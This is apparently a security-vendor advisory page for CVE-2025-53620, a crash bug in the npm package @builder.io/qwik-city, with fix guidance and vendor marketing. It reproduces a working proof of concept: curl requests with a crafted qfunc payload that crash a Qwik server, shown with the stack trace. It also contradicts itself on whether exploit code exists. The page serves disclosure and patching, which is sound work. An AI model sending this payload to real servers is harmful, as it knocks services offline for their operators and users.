How severe is CVE-2025-53620?

No CVSS score has been assigned to CVE-2025-53620 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2025-53620?

CVE-2025-53620 affects the following packages: @builder.io/qwik-city (npm). Ecosystems affected: npm.

How do I fix CVE-2025-53620?

Update @builder.io/qwik-city to 1.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-53620 is resolved across your whole dependency graph.

How do I detect CVE-2025-53620 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @builder.io/qwik-city, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2025-53620 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2025-53620?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-53620 can be triaged on real exposure rather than presence alone.

Is CVE-2025-53620 actively exploited in the wild?

No public exploit code has been indexed for CVE-2025-53620 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2025-53620?

CVE-2025-53620 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 23th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2025-53620?

CVE-2025-53620 is classified as CWE-248 (CWE-248). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2025-53620 published, and has it been updated?

CVE-2025-53620 was published on July 9, 2025 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

CVE-2025-53620 — qwik-city

Fix: QwikDev/qwik#7342

CVE-2025-53620 is a CWE-248 vulnerability in @builder.io/qwik-city. A fix is available for @builder.io/qwik-city — see the affected versions and patch details below.

Crashing any Qwik Server

Also known asGHSA-qr9h-j6xg-2j72

Published

Jul 9, 2025

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-53620.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

9other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

@builder.io/qwik-citynpm

30Kdownloads / week

Description

Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

Details

When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.

PoC

Setup a Qwik Project pnpm create qwik@latest
Start the Qwik Server using pnpm run preview
Execute the following curl command to crash the instance

curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.

The Qwik Server will then crash with the message

qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
            triggerUncaughtException(err, true /* fromPromise */);
            ^

Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)

Node.js v21.7.2

The same can also be repeated running Qwik in production using express.

Setup a Qwik Project pnpm create qwik@latest
Install the express middleware pnpm run qwik add express
Build the qwik app using pnpm run build
Start the server using pnpm run serve
Execute the following curl command to crash the instance

curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Impact

Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.

There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@builder.io/qwik-city`	all versions	1.13.0`npm install @builder.io/qwik-city@1.13.0`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @builder.io/qwik-city, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @builder.io/qwik-city to 1.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-53620 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-53620 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-53620. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Possibility to craft a request that will crash the Qwik Server in the default configuration. ### Details When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. ### PoC 1. Setup a Qwik Project `pnpm create qwik@latest` 2. Start the Qwik Server using `pnpm run preview` 3. Execute the following curl command to crash the instance ```bash curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \ --header 'Content-Type: appli

O3 Security · Impact-Aware SCA

Is CVE-2025-53620 in your dependencies?

O3 Security finds CVE-2025-53620 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works